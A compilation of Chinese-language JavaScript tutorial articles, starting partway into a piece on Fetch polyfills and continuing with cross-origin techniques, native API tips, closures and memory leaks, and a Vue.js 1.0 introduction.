Fetch polyfill 的基本原理是探测是否存在 window.fetch 方法，如果没有则用 XHR 实现。这也是 github/fetch 的做法，但是有些浏览器（Chrome 45）原生支持 Fetch，但响应中有中文时会乱码，老外又不太关心这种问题，所以我自己才封装了 fetch-detector 和 fetch-ie8 只在浏览器稳定支持 Fetch 情况下才使用原生 Fetch。这些库现在每天有几千万个请求都在使用，绝对靠谱！

终于，引用了这一堆 polyfill 后，可以愉快地使用 Fetch 了。但要小心，下面有坑：

Fetch 常见坑


	Fetch 请求默认是不带 cookie 的，需要设置 fetch(url, {credentials: 'include'})


	服务器返回 400，500 错误码时并不会 reject，只有网络错误这些导致请求不能完成时，fetch 才会被 reject。




竟然没有提到 IE，这实在太不科学了，现在来详细说下 IE

IE 使用策略

所有版本的 IE 均不支持原生 Fetch，fetch-ie8 会自动使用 XHR 做 polyfill。但在跨域时有个问题需要处理。

IE8, 9 的 XHR 不支持 CORS 跨域，虽然提供 XDomainRequest，但这个东西就是玩具，不支持传 Cookie！如果接口需要权限验证，还是乖乖地使用 jsonp 吧，推荐使用 fetch-jsonp。如果有问题直接提 issue，我会第一时间解决。

标准 Promise 的不足

由于 Fetch 是典型的异步场景，所以大部分遇到的问题不是 Fetch 的，其实是 Promise 的。ES6 的 Promise 是基于 Promises/A+ 标准，为了保持简单简洁，只提供极简的几个 API。如果你用过一些牛 X 的异步库，如 jQuery(不要笑) 、Q.js 或者 RSVP.js，可能会感觉 Promise 功能太少了。

没有 Deferred

Deferred 可以在创建 Promise 时可以减少一层嵌套，还有就是跨方法使用时很方便。
ECMAScript 11 年就有过 Deferred 提案，但后来没被接受。其实用 Promise 不到十行代码就能实现 Deferred：es6-deferred。现在有了 async/await，generator/yield 后，deferred 就没有使用价值了。

没有获取状态方法：isRejected，isResolved

标准 Promise 没有提供获取当前状态 rejected 或者 resolved 的方法。只允许外部传入成功或失败后的回调。我认为这其实是优点，这是一种声明式的接口，更简单。

缺少其它一些方法：always，progress，finally

always 可以通过在 then 和 catch 里重复调用方法实现。finally 也类似。progress 这种进度通知的功能还没有用过，暂不知道如何替代。

最后

Fetch 替换 XHR 只是时间问题，现在看到国外很多新的库都默认使用了 Fetch。

最后再做一个大胆预测：由于 async/await 这类新异步语法的出现，第三方的 Promise 类库会逐渐被标准 Promise 替代，使用 polyfill 是现在比较明智的做法。

转至我的博客，原文地址：https://github.com/camsong/blog/issues/2



想不想加入阿里巴巴一起玩 ES7，React，FRP 等最新技术，欢迎简历到 neosoyn@gmail.com




 「JavaScript」四种跨域方式详解

作者：JasonKidd

来源： 「JavaScript」四种跨域方式详解



                    
超详细并且带 Demo 的 JavaScript 跨域指南来了！

本文基于你了解 JavaScript 的同源策略，并且了解使用跨域跨域的理由。

1. JSONP

首先要介绍的跨域方法必然是 JSONP。

现在你想要获取其他网站上的 JavaScript 脚本，你非常高兴的使用 XMLHttpRequest 对象来获取。但是浏览器一点儿也不配合你，无情的弹出了下面的错误信息：

XMLHttpRequest cannot load http://x.com/main.dat. No 'Access-Control-Allow-Origin' header is present on the requested resource. Origin 'http://y.com' is therefore not allowed access.

你心里肯定会想，我难道要用后台做个爬虫来获取这个数据吗？！(；°○° )
为了避免这种蛋疼的事情发生，JSONP 就派上用场了。

<script> 标签是不受同源策略的限制的，它可以载入任意地方的 JavaScript 文件，而并不要求同源。

所以 JSONP 的理念就是，我和服务端约定好一个函数名，当我请求文件的时候，服务端返回一段 JavaScript。这段 JavaScript 调用了我们约定好的函数，并且将数据当做参数传入。
非常巧合的一点（其实并不是），JSON 的数据格式和 JavaScript 语言里对象的格式正好相同。所以在我们约定的函数里面可以直接使用这个对象。

光说不练假把式，让我们来看一个例子：

你需要获取数据的页面 index.html:

<script>
    function getWeather(data) {
        console.log(data);
    }
</script>

<script src="http://x.y.com/xx.js">

http://x.y.com/xx.js 文件内容：

getWeather({
    "城市": "北京",
    "天气": "大雾"
});

我们可以看到，在我们定义了 getWeather(data) 这个函数后，直接载入了 xx.js。
在这个脚本中，执行了 getWeather 函数，并传入了一个对象。然后我们在这个函数中将这个对象输出到 console 中。

这就是整个 JSONP 的流程。

2. document.domain

使用条件：


	有其他页面 window 对象的引用。


	二级域名相同。


	协议相同。


	端口相同。




document.domain 默认的值是整个域名，所以即使两个域名的二级域名一样，那么他们的 document.domain 也不一样。

使用方法就是将符合上述条件页面的 document.domain 设置为同样的二级域名。这样我们就可以使用其他页面的 window 对象引用做我们想做的任何事情了。(╯▔▽▔)╯


补充知识：


	x.one.example.com 和 y.one.example.com 可以将 document.domain 设置为 one.example.com，也可以设置为 example.com。


	document.domain 只能设置为当前域名的一个后缀，并且包括二级域名或以上（.edu.cn 这种整个算顶级域名）。






我们直接操刀演示，用两个网站 http://wenku.baidu.com/ 和 http://zhidao.baidu.com/。
这两个网站都是 http 协议，端口都是 80， 且二级域名都是 baidu.com。

打开 http://wenku.baidu.com/，在 console 中输入代码：

document.domain = 'baidu.com';

var otherWindow = window.open('http://zhidao.baidu.com/');

我们现在已经发现百度知道的网页已经打开了，在百度知道网页的 console 中输入以下代码：

document.domain = 'baidu.com';

现在回到百度文库的网页，我们就可以使用百度知道网页的 window 对象来操作百度知道的网页了。例如：

var divs = otherWindow.document.getElementsByTagName('div');

上面这个例子的使用方法并不常见，但是非常详细的说明了这种方法的原理。
这种方法主要用在控制 <iframe> 的情况中。

比如我的页面(http://one.example.com/index.html)中内嵌了一个 <iframe>：

<iframe id="iframe" src="http://two.example.com/iframe.html"></iframe>

我们在 iframe.html 中使用 JavaScript 将 document.domain 设置好，也就是 example.com。

在 index.html 执行以下脚本：

var iframe = document.getElementById('iframe');

document.domain = 'example.com';

iframe.contentDocument; // 框架的 document 对象
iframe.contentWindow; // 框架的 window 对象

这样，我们就可以获得对框架的完全控制权了。


补充知识（绝对干货）：
当两个页面不做任何处理，但是使用了框架或者 window.open() 得到了某个页面的 window 对象的引用，我们可以直接访问的属性有哪些？


	方法




	window.blur


	window.close


	window.focus


	window.postMessage


	window.location.replace







	属性
	权限





	window.closed
	只读



	window.frames
	只读



	window.length
	只读



	window.location.href
	只写



	window.opener
	只读



	window.parent
	只读



	window.self
	只读



	window.top
	只读



	window.window
	只读







3. window.name

我们来看以下一个场景：

随意打开一个页面，输入以下代码：

window.name = "My window's name";
location.href = "http://www.qq.com/";

再检测 window.name :

window.name; // My window's name

可以看到，如果在一个标签里面跳转网页的话，我们的 window.name 是不会改变的。
基于这个思想，我们可以在某个页面设置好 window.name 的值，然后跳转到另外一个页面。在这个页面中就可以获取到我们刚刚设置的 window.name 了。

由于安全原因，浏览器始终会保持 window.name 是 string 类型。



这个方法也可以应用到与 <iframe> 的交互上来。

我的页面(http://one.example.com/index.html)中内嵌了一个 <iframe>：

<iframe id="iframe" src="http://omg.com/iframe.html"></iframe>

在 iframe.html 中设置好了 window.name 为我们要传递的字符串。
我们在 index.html 中写了下面的代码：

var iframe = document.getElementById('iframe');
var data = '';

iframe.onload = function() {
    data = iframe.contentWindow.name;
};

定睛一看，为毛线报错？
细心的读者们肯定已经发现了，两个页面完全不同源啊！
由于 window.name 不随着 URL 的跳转而改变，所以我们使用一个暗黑技术来解决这个问题：

var iframe = document.getElementById('iframe');
var data = '';

iframe.onload = function() {
    iframe.onload = function(){
        data = iframe.contentWindow.name;
    }
    iframe.src = 'about:blank';
};

或者将里面的 about:blank 替换成某个同源页面（最好是空页面，减少加载时间）。

补充知识：
about:blank，javascript: 和 data: 中的内容，继承了载入他们的页面的源。



这种方法与 document.domain 方法相比，放宽了域名后缀要相同的限制，可以从任意页面获取 string 类型的数据。

4. [HTML5] postMessage

在 HTML5 中， window 对象增加了一个非常有用的方法：

windowObj.postMessage(message, targetOrigin);


	windowObj: 接受消息的 Window 对象。


	message: 在最新的浏览器中可以是对象。


	targetOrigin: 目标的源，* 表示任意。




这个方法非常强大，无视协议，端口，域名的不同。下面是烤熟的栗子：

var windowObj = window; // 可以是其他的 Window 对象的引用
var data = null;

addEventListener('message', function(e){
    if(e.origin == 'http://jasonkid.github.io/fezone') {
        data = e.data;
        
        e.source.postMessage('Got it!', '*');
    }
});

message 事件就是用来接收 postMessage 发送过来的请求的。函数参数的属性有以下几个：


	origin: 发送消息的 window 的源。


	data: 数据。


	source: 发送消息的 Window 对象。




Demo

https://github.com/JasonKid/fezone/tree/master/JavaScript/%E5%87%A0%E7%A7%8D%E8%B7%A8%E5%9F%9F%E6%96%B9%E6%A1%88%E8%AF%A6%E8%A7%A3

两种服务端相关跨域方法

「JavaScript」两种服务端相关跨域方法详解

觉得不错的话按顶部的推荐，让更多人看到吧～ㄟ(▔▽▔ㄟ)


 盘点JavaScript里好用的原生API  ꒰･◡･๑꒱

作者：qianjiahao
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这段时间翻了一番JavaScript的api，发现不少好的轮子，省去造的麻烦了。


直接进入正题


解析字符串对象



我们都知道，JavaScript对象可以序列化为JSON，JSON也可以解析成对象，但是问题是如果出现了一个既不是JSON也不是对象的"东西"，转成哪一方都不方便，那么eval就可以派上用场

var obj = "{a:1,b:2}";   // 看起来像对象的字符串
eval("("+ obj +")")      // {a: 1, b: 2}




  因为 eval 可以执行字符串表达式，我们希望将 obj 这个字符串对象 执行成真正的对象，那么就需要用eval。但是为了避免eval 将带 {} 的 obj 当语句来执行，我们就在obj的外面套了对 ()，让其被解析成表达式。





& (按位与)


判断一个数是否为2的n次幂，可以将其与自身减一相与

var number = 4
(number & number -1) === 0 // true




^ (按位异或)


不用第三个变量，就可以交换两个变量的值
var a = 4,b = 3
a = a ^ b  //    7
b = a ^ b  //    4
a = a ^ b  //    3



格式化Date



想得到format后的时间？现在不用再get年月日时分秒了，三步搞定

var temp = new Date();
var regex = /\//g;
(temp.toLocaleDateString() + ' ' + temp.toLocaleTimeString().slice(2)).replace(regex,'-');

// "2015-5-7 9:04:10"

想将format后的时间转换为时间对象？直接用Date的构造函数

new Date("2015-5-7 9:04:10");

// Thu May 07 2015 09:04:10 GMT+0800 (CST)
经测试发现火狐没法对format后的时间字符串使用Date.parse(),故这个方法在火狐上不好使

想将一个标准的时间对象转换为unix时间戳？valueOf搞定之

(new Date).valueOf();

// 1431004132641

许多朋友还提醒了这样可以快速得到时间戳

+new Date
// 1431004132641



一元加


一元加可以快速将字符串的数字转换为数学数字，即
var number = "23" 
typeof number  // string
typeof +number // number

可以将时间对象转为时间戳
new Date  //  Tue May 12 2015 22:21:33 GMT+0800 (CST)
+new Date //  1431440459887



转义URI



需要将url当做参数在路由中传递，现在转义之

var url = encodeURIComponent('http://segmentfault.com/questions/newest')

// "http%3A%2F%2Fsegmentfault.com%2Fquestions%2Fnewest"

再反转义

decodeURIComponent(url)
// "http://segmentfault.com/questions/newest"



Number


希望保留小数点后的几位小数，不用再做字符串截取了，toFixed拿走
number.toFixed()     // "12346"
number.toFixed(3)    // "12345.679"
number.toFixed(6)    // "12345.678900"

参数范围为0~20，不写默认0



类型检测


typeof是使用最频繁的类型检测手段

typeof 3        // "number"
typeof "333"    // "string"
typeof false    // "boolean"

对于基本（简单）数据类型还是挺好的，但是一旦到了引用数据类型的时候，就不那么好使了

typeof new Date()   // "object"
typeof []           // "object"
typeof {}           // "object"
typeof null         // "object"      

前三个还能忍，null居然也返回object，你是在逗我吗！！！（ps：其实这是JavaScript的bug 人艰不拆 ꒰･◡･๑꒱ ）

这时，我们会使用instanceof

toString instanceof Function
// true
(new Date) instanceof Date
// true
[] instanceof Object
// true
[] instanceof Array
// true

其实我们可以发现，[] 和 Object得到了true，虽然我们知道，[]也是对象，但是我们希望一个能更准确的判断类型的方法，现在它来了





使用Object.prototype.toString()来判断，为了让每一个对象都能通过检测，我们需要使用Function.prototype.call或者Function.prototype.apply的形式来调用

var toString = Object.prototype.toString;

toString.call(new Date)    // "[object Date]"
toString.call(new Array)   // "[object Array]"
toString.call(new Object)  // "[object Object]"
toString.call(new Number)  // "[object Number]"
toString.call(new String)  // "[object String]"
toString.call(new Boolean) // "[object Boolean]"

要注意的是：toString方法极有可能被重写，所以需要使用的时候，
可以直接使用Object.prototype.toString()方法



实现继承


看一个官方给的例子
//Shape - superclass
function Shape() {
  this.x = 0;
  this.y = 0;
}

Shape.prototype.move = function(x, y) {
    this.x += x;
    this.y += y;
    console.info("Shape moved.");
};

// Rectangle - subclass
function Rectangle() {
  Shape.call(this); //call super constructor.
}

Rectangle.prototype = Object.create(Shape.prototype);

var rect = new Rectangle();

rect instanceof Rectangle //true.
rect instanceof Shape //true.

rect.move(1, 1); //Outputs, "Shape moved."

通过call来获取初始化的属性和方法，通过Object.create来获取原型对象上的属性和方法



迭代


ES5出了挺多的迭代函数，如map，filter，some，every，reduce等，这里有传送门，可以看到挺多的例子




  http://segmentfault.com/a/1190000002687651




Array


具体的api这里介绍的很详细。




  https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Glob...




这里就提几句：
pop,push,reverse,shift,sort,splice,unshift会改变原数组

join,concat,indexOf,lastIndexOf,slice,toString不会改变原数组

map,filter,some,every,reduce,forEach这些迭代方法不会改变原数组

几个注意点：

1 shift,pop会返回那个被删除的元素
2 splice 会返回被删除元素组成的数组，或者为空数组
3 push 会返回新数组长度
4 some 在有true的时候停止
5 every 在有false的时候停止
6 上述的迭代方法可以在最后追加一个参数thisArg,它是执行 callback 时的 this 值。



 [ JS 进阶 ] 闭包，作用域链，垃圾回收，内存泄露

作者：kraaas

来源： [ JS 进阶 ] 闭包，作用域链，垃圾回收，内存泄露



                    

  关于闭包，我翻了几遍书，看了几遍视频，查了一些资料，可是还是迷迷糊糊的，干脆自己动手来个总结吧 ！欢迎指正... (～ o ～)~zZ




1. 什么是闭包？


来看一些关于闭包的定义：



	闭包是指有权访问另一个函数作用域中变量的函数 --《JS高级程序设计第三版》 p178

	函数对象可以通过作用域链相关联起来，函数体内部的变量都可以保存在函数作用域内，这种特性称为 ‘闭包’ 。 --《JS权威指南》 p183

	内部函数可以访问定义它们的外部函数的参数和变量(除了this和arguments)。 --《JS语言精粹》 p36



来个定义总结



	可以访问外部函数作用域中变量的函数


	被内部函数访问的外部函数的变量可以保存在外部函数作用域内而不被回收---这是核心，后面我们遇到闭包都要想到，我们要重点关注被闭包引用的这个变量。



来创建个简单的闭包


var sayName = function(){
    var name = 'jozo';
    return function(){
        alert(name);
    }
};
var say = sayName(); 
say();



来解读后面两个语句：



	
var say = sayName() ：返回了一个匿名的内部函数保存在变量say中，并且引用了外部函数的变量name，由于垃圾回收机制，sayName函数执行完毕后，变量name并没有被销毁。

	
say() ：执行返回的内部函数，依然能访问变量name,输出 'jozo' .



2. 闭包中的作用域链


理解作用域链对理解闭包也很有帮助。


变量在作用域中的查找方式应该都很熟悉了，其实这就是顺着作用域链往上查找的。


当函数被调用时：



	先创建一个执行环境(execution context),及相应的作用域链；

	将arguments和其他命名参数的值添加到函数的活动对象(activation object)



作用域链：当前函数的活动对象优先级最高，外部函数的活动对象次之，外部函数的外部函数的活动对象依次递减，直至作用域链的末端--全局作用域。优先级就是变量查找的先后顺序；


先来看个普通的作用域链：


function sayName(name){
    return name;
}
var say = sayName('jozo');



这段代码包含两个作用域：a.全局作用域；b.sayName函数的作用域，也就是只有两个变量对象，当执行到对应的执行环境时，该变量对象会成为活动对象，并被推入到执行环境作用域链的前端，也就是成为优先级最高的那个。 看图说话：





这图在JS高级程序设计书上也有，我重新绘了遍。


在创建sayName()函数时，会创建一个预先包含变量对象的作用域链，也就是图中索引为1的作用域链，并且被保存到内部的[[Scope]]属性中，当调用sayName()函数的时候，会创建一个执行环境，然后通过复制函数的[[Scope]]属性中的对象构建起作用域链，此后，又有一个活动对象（图中索引为0）被创建，并被推入执行环境作用域链的前端。


一般来说，当函数执行完毕后，局部活动对象就会被销毁，内存中仅保存全局作用域。但是，闭包的情况又有所不同 ：


再来看看看闭包的作用域链：


function sayName(name){
    return function(){
        return name;
    }
}
var say = sayName('jozo');



这个闭包实例比上一个例子多了一个匿名函数的作用域：





在匿名函数从sayName()函数中被返回后，它的作用域链被初始化为包含sayName()函数的活动对象和全局变量对象。这样，匿名函数就可以访问在sayName()中定义的所有变量和参数，更为重要的是，sayName()函数在执行完毕后，其活动对象也不会被销毁，因为匿名函数的作用域链依然在引用这个活动对象，换句话说，sayName()函数执行完后，其执行环境的作用域链会被销毁，但他的活动对象会留在内存中，知道匿名函数会销毁。这个也是后面要讲到的内存泄露的问题。


作用域链问题不写那么多了，写书上的东西也很累 o(╯□╰)o


3. 闭包的实例


实例1：实现累加


// 方式1
var a = 0;
var add = function(){
    a++;
    console.log(a)
}
add();
add();
//方式2 ：闭包
var add = (function(){
    var  a = 0;
    return function(){
        a++;
        console.log(a);
    }
})();
console.log(a); //undefined
add();
add();

相比之下方式2更加优雅，也减少全局变量，将变量私有化



实例2 ：给每个li添加点击事件


 var oli = document.getElementsByTagName('li');
 var i;
 for(i = 0;i < 5;i++){
     oli[i].onclick = function(){
         alert(i);
     }
 }
 console.log(i); // 5

 //执行匿名函数
 (function(){
    alert(i);  //5
 }());



上面是一个经典的例子，我们都知道执行结果是都弹出5，也知道可以用闭包解决这个问题，但是我刚开始始终不能明白为什么每次弹出都是5，为什么闭包可以解决这问题。后来捋一捋还是把它弄清晰了：


a.  先来分析没用闭包前的情况：for循环中,我们给每个li点击事件绑定了一个匿名函数，匿名函数中返回了变量i的值，当循环结束后，变量i的值变为5，此时我们再去点击每个li，也就是执行相应的匿名函数(看上面的代码)，这是变量i已经是5了，所以每个点击弹出5. 因为这里返回的每个匿名函数都是引用了同一个变量i，如果我们新建一个变量保存循环执行时当前的i的值，然后再让匿名函数应用这个变量，最后再返回这个匿名函数，这样就可以达到我们的目的了，这就是运用闭包来实现的！


b.  再来分析下运用闭包时的情况：


     var oli = document.getElementsByTagName('li');
     var i;
     for(i = 0;i < 5;i++){
         oli[i].onclick = (function(num){
             var a = num; // 为了说明问题
             return function(){
                 alert(a);
             }
         })(i)
     }
     console.log(i); // 5



这里for循环执行时，给点击事件绑定的匿名函数传递i后立即执行返回一个内部的匿名函数，因为参数是按值传递的，所以此时形参num保存的就是当前i的值,然后赋值给局部变量 a，然后这个内部的匿名函数一直保存着a的引用，也就是一直保存着当前i的值。 所以循环执行完毕后点击每个li，返回的匿名函数执行弹出各自保存的 a 的引用的值。


4. 闭包的运用


我们来看看闭包的用途。事实上，通过使用闭包，我们可以做很多事情。比如模拟面向对象的代码风格；更优雅，更简洁的表达出代码；在某些方面提升代码的执行效率。


1. 匿名自执行函数


我们在实际情况下经常遇到这样一种情况，即有的函数只需要执行一次，其内部变量无需维护，比如UI的初始化，那么我们可以使用闭包：


//将全部li字体变为红色
(function(){    
    var els = document.getElementsByTagName('li');
    for(var i = 0,lng = els.length;i < lng;i++){
        els[i].style.color = 'red';
    }    
})();  



我们创建了一个匿名的函数，并立即执行它，由于外部无法引用它内部的变量，

因此els,i,lng这些局部变量在执行完后很快就会被释放，节省内存！

关键是这种机制不会污染全局对象。


2. 实现封装/模块化代码


var person= function(){    
    //变量作用域为函数内部，外部无法访问    
    var name = "default";       

    return {    
       getName : function(){    
           return name;    
       },    
       setName : function(newName){    
           name = newName;    
       }    
    }    
}();
console.log(person.name);//直接访问，结果为undefined    
console.log(person.getName());  //default 
person.setName("jozo");    
console.log(person.getName());  //jozo



3. 实现面向对象中的对象

这样不同的对象(类的实例)拥有独立的成员及状态，互不干涉。虽然JavaScript中没有类这样的机制，但是通过使用闭包，

我们可以模拟出这样的机制。还是以上边的例子来讲:


function Person(){    
    var name = "default";       

    return {    
       getName : function(){    
           return name;    
       },    
       setName : function(newName){    
           name = newName;    
       }    
    }    
};    


var person1= Person();    
print(person1.getName());    
john.setName("person1");    
print(person1.getName());  // person1  

var person2= Person();    
print(person2.getName());    
jack.setName("erson2");    
print(erson2.getName());  //person2



Person的两个实例person1 和 person2 互不干扰！因为这两个实例对name这个成员的访问是独立的 。


5. 内存泄露及解决方案


垃圾回收机制


说到内存管理，自然离不开JS中的垃圾回收机制，有两种策略来实现垃圾回收：标记清除 和 引用计数；


标记清除：垃圾收集器在运行的时候会给存储在内存中的所有变量都加上标记，然后，它会去掉环境中的变量的标记和被环境中的变量引用的变量的标记，此后，如果变量再被标记则表示此变量准备被删除。 2008年为止，IE，Firefox，opera，chrome，Safari的javascript都用使用了该方式；


引用计数：跟踪记录每个值被引用的次数，当声明一个变量并将一个引用类型的值赋给该变量时，这个值的引用次数就是1，如果这个值再被赋值给另一个变量，则引用次数加1。相反，如果一个变量脱离了该值的引用，则该值引用次数减1，当次数为0时，就会等待垃圾收集器的回收。


这个方式存在一个比较大的问题就是循环引用，就是说A对象包含一个指向B的指针，对象B也包含一个指向A的引用。 这就可能造成大量内存得不到回收（内存泄露），因为它们的引用次数永远不可能是 0 。早期的IE版本里（ie4-ie6）采用是计数的垃圾回收机制，闭包导致内存泄露的一个原因就是这个算法的一个缺陷。


我们知道，IE中有一部分对象并不是原生额javascript对象，例如，BOM和DOM中的对象就是以COM对象的形式实现的，而COM对象的垃圾回收机制采用的就是引用计数。因此，虽然IE的javascript引擎采用的是标记清除策略，但是访问COM对象依然是基于引用计数的，因此只要在IE中设计COM对象就会存在循环引用的问题！


举个栗子：


window.onload = function(){
    var el = document.getElementById("id");
    el.onclick = function(){
        alert(el.id);
    }
}



这段代码为什么会造成内存泄露？


el.onclick= function () {
    alert(el.id);
};



执行这段代码的时候，将匿名函数对象赋值给el的onclick属性；然后匿名函数内部又引用了el对象，存在循环引用，所以不能被回收；


解决方法：


window.onload = function(){
    var el = document.getElementById("id");
    var id = el.id; //解除循环引用
    el.onclick = function(){
        alert(id); 
    }
    el = null; // 将闭包引用的外部函数中活动对象清除
}



6. 总结闭包的优缺点


优点：



	可以让一个变量常驻内存 (如果用的多了就成了缺点

	避免全局变量的污染

	私有化变量



缺点



	因为闭包会携带包含它的函数的作用域，因此会比其他函数占用更多的内存

	引起内存泄露




 Vue.js 快速入门

作者：FullStackDeveloper

来源： Vue.js 快速入门



                    
什么是Vue.js



vue是法语中视图的意思，Vue.js是一个轻巧、高性能、可组件化的MVVM库，同时拥有非常容易上手的API。作者是尤雨溪,写下这篇文章时vue.js版本为1.0.7

准备

我推荐使用sublime text作为编辑器，关于这个编辑器可以看我这篇文章。在package control中安装


	Vuejs Snippets


	Vue Syntax Highlight




推荐使用npm管理,新建两个文件app.html,app.js,为了美观使用bootstrap，我们的页面模板看起来是这样:

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <title>Document</title>
    <link rel="stylesheet" type="text/css" href="https://cdn.bootcss.com/bootstrap/3.3.5/css/bootstrap.min.css">
</head>

<body>
    <div class="container">
        <div class="col-md-6 col-md-offset-3">
            <h1>Vue demo</h1>
            <div id="app">
            .......
            </div>
        </div>
    </div>
</body>

</html>


安装

使用npm安装：

npm install vue


当然你也可以在github上clone最新的版本并作为单文件引入，或者使用CDN:

http://cdn.jsdelivr.net/vue/1.0.7/vue.min.js
http://cdnjs.cloudflare.com/ajax/libs/vue/1.0.7/vue.min.js


HelloWorld

动手写第一个Vue.js 应用吧。
app.html:

<div id="app">
    <div>{{message}}</div>
    <input type="text" v-model="message">
</div>


app.js:


new Vue({
    el:'#app',
    data: {
        message:'hello vue.js.'
    }
});


创建Vue实例

在使用Vue.js之前，我们需要先像这样实例化一个Vue对象：

new Vue({
   el:'#app'
});


双向数据绑定



就像HelloWorld展示的那样，app.html是view层，app.js是model层，通过vue.js（使用v-model这个指令）完成中间的底层逻辑，实现绑定的效果。改变其中的任何一层，另外一层都会改变。

插值

相信你也注意到了，通过{{value}}的形式就能取到value的值，并与value进行绑定。HelloWorld中改变input中的值时相应也改变了app.js中的message，从而{{message}}也得到改变。上面的代码改为这样：

{{*message}}


则message不会随着数据的改变而更新。同时还支持一些简单的表达式：

{{message + 'vue is awesome'}}
{{ message.split('').reverse().join('') }}


常用的指令

v-model

v-model可用于一些表单元素,常见的input,checkbox,radio,select:

<select v-model="selected" multiple>
  <option selected>A</option>
  <option>B</option>
  <option>C</option>
</select>
<br>
<span>Selected: {{ selected | json }}</span>


v-for

列表渲染在实际开发中非常常见，vue.js使用v-for这个指令就能完成，v-for取代了1.0以前版本中的v-repeat。在app.js中准备一些数据:

new Vue({
        el: '#app',
        data: {
            book: {
                id: 0,
                author: '',
                name: '',
                price: ''
            },
            books: [{
                id: 1,
                author: '曹雪芹',
                name: '红楼梦',
                price: 32.0
            }, {
                id: 2,
                author: '施耐庵',
                name: '水浒传',
                price: 30.0
            }, {
                id: '3',
                author: '罗贯中',
                name: '三国演义',
                price: 24.0
            }, {
                id: 4,
                author: '吴承恩',
                name: '西游记',
                price: 20.0
            }]
        }
 })


在data里我们设置了两个数据book和book[] books，在app.html中我们只要这样就能获取到数据了:

 <tr v-for="book in books ">
   <td>{{book.id}}</td>
   <td>{{book.name}}</td>
   <td>{{book.author}}</td>
   <td>{{book.price}}</td>
</tr>


如果你比较细心的话，在数据还未加载完时是会有闪烁的情况出现，解决方法也很简单，使用v-cloak,然后定义css:

 [v-cloak] { display: none }


v-on

vue.js通过v-on完成事件处理与绑定，比如为一个button绑定click事件，我们就可以这么写:

<button v-on:click="doSomething">doSomething</button>


也可以缩写:

<button @click="doSomething">doSomething</button>


我们需要为v-on传入事件参数,然后在vue的实例中声明doSomething这个方法就可以调用了:

new Vue({
  el: '#app',
  methods: {
    doSomething: function () {
      /...../
    }
  }
})


接着上面书的例子，我们用v-model绑定form：

   <div id="add-book">
     <legend>添加书籍</legend>
     <div class="form-group">
           <label for="">书名</label>
           <input type="text" class="form-control" v-model="book.name">
     </div>
     <div class="form-group">
            <label for="">作者</label>
            <input type="text" class="form-control" v-model="book.author">
     </div>
     <div class="form-group">
              <label for="">价格</label>
              <input type="text" class="form-control" v-model="book.price">
      </div>
      <button class="btn btn-primary btn-block" v-on:click="addBook()">添加</button>
    </div>


在app.js中增加我们的addBook方法:

 methods: {
        addBook: function() {
            //计算书的id
            this.book.id = this.books.length + 1;
            this.books.push(this.book);
            //将input中的数据重置
            this.book = '';
        }
    }
    



我们再健全一下功能，增加一个删除按钮:

<button type="button" class="btn btn-danger" @click="delBook(book)">删除</button>


delBook方法：

  delBook:function(book){
       this.books.$remove(book);
  }


vue.js为数组扩展了$remove方法，查找并删除我们作为参数传递过去的book。



v-if/v-else/v-show

顾名思义，v-if用于条件判断，和v-else是一对。用法也很简单，下面的代码是将id为偶数的操作按钮换个样式:

  <template v-if="book.id%2==0">
      <td class="text-right">
      ......
         <button type="button" class="btn btn-success" @click="delBook(book)">删除</button>
      .....
       </td>
  </template>
  <template v-else>
          .....
        <td class="text-right">
           <button type="button" class="btn btn-danger" @click="delBook(book)">删除</button>
          </td>
          ....
   </template>
   



这里用到了<template>标签，用于包含多个元素，当元素只有一个时，直接在元素上用v-if即可:

<h1 v-if="ok">Yes</h1>
<h1 v-else>No</h1>


v-show作用与v-if类似，不同的是v-show的元素会始终渲染并保持在 DOM 中,且v-show不支持<template>标签。

过滤器

与Linux中的管道类似，vue.js也使用的是|:

{{message | uppercase}}


这样就能输出message的大写了,过滤器也能串联在一起使用:

{{message | reverse | uppercase}}


这里reverse并不是内建的过滤器，我们可以用Vue.filter自定义:

Vue.filter('reverse', function (value) {
    return value.split('').reverse().join('')
})


过滤器支持接收参数，比较常用的是orderBy [param]和filterBy [param],现在我们为表格增加自定义排序的功能，为表头绑定click事件:

 <th class="text-right" @click="sortBy('id')">序号</th>
 <th class="text-right" @click="sortBy('name')">书名</th>
 <th class="text-right" @click="sortBy('author')">作者</th>
 <th class="text-right" @click="sortBy('price')">价格</th>


想sortBy传递列的参数,定义sortBy和data:

data: {
    sortparam: ''
 },
methods:{
sortBy: function(sortparam) {
        this.sortparam = sortparam;
     }
}


添加过滤器:

 <tr v-for="book in books | orderBy sortparam">




计算属性

计算属性可以帮助我们完成一些复杂的逻辑计算，比如我们需要添加一个书的总价，在vue实例中添加computed:

new Vue({
    /.../
    computed: {
            sum: function() {
                var result = 0;
                for (var i = 0; i < this.books.length; i++) {
                    result = Number(this.books[i].price) + result;
                };
                return result;
            }
        },
     /.../
})


在app.html中使用插值表达式:

{{sum}}


vue-resource

vue-resource作为vue插件的形式存在，通过 XMLHttpRequest 或 JSONP 发起请求并处理响应。在开发中也非常常见，现在我们用vue-resource来请求books:

引入

和vue类似：

npm install vue-resource --save

如果你的项目遵循CommonJS:
var Vue = require('vue');
Vue.use(require('vue-resource'));


也可以直接引入单文件或者CDN。

get

在vue中新增ready对象，当页面加载完成时就去请求:

new Vue({
    el: '#app',
    ready: function() {
        this.$http.get('book.json', function(data) {
            this.$set('books', data);
        }).error(function(data, status, request) {
            console.log('fail' + status + "," + request);
        })
    },
    data: {
        ....
        books:''
    },
    .....
    

为了演示，这里将json格式的数据保存在book.json中,这段数据你可以直接使用JSON.stringify()得到：

[{"id":1,"author":"曹雪芹","name":"红楼梦","price":32},{"id":2,"author":"施耐庵","name":"水浒传","price":30},{"id":"3","author":"罗贯中","name":"三国演义","price":24},{"id":4,"author":"吴承恩","name":"西游记","price":20}]


接下来你需要将app.html中运行在一个服务器中，否则由于浏览器安全的限制，是无法直接读取的，如果你嫌麻烦可以用这个参数启动chrome。

.\chrome.exe --allow-file-access-from-files


如果你使用了npm，想要启动一个服务器就太简单了:

npm install http-server -g
//在当前目录
http-server
//然后访问localhost:8080/app.html


post

post的语法也很简单：

this.$http.post(url,postdata,function callback）


在使用的时候遇到一个小坑,这个$http请求和jquery的ajax还是有点区别，这里的post的data默认不是以form data的形式，而是request payload。解决起来也很简单：
在vue实例中添加headers字段:

http: {
           headers: {'Content-Type': 'application/x-www-form-urlencoded'}
       }


后来翻了下vue-resource的源码，发现有更加简单的做法:

Vue.http.options.emulateJSON = true;


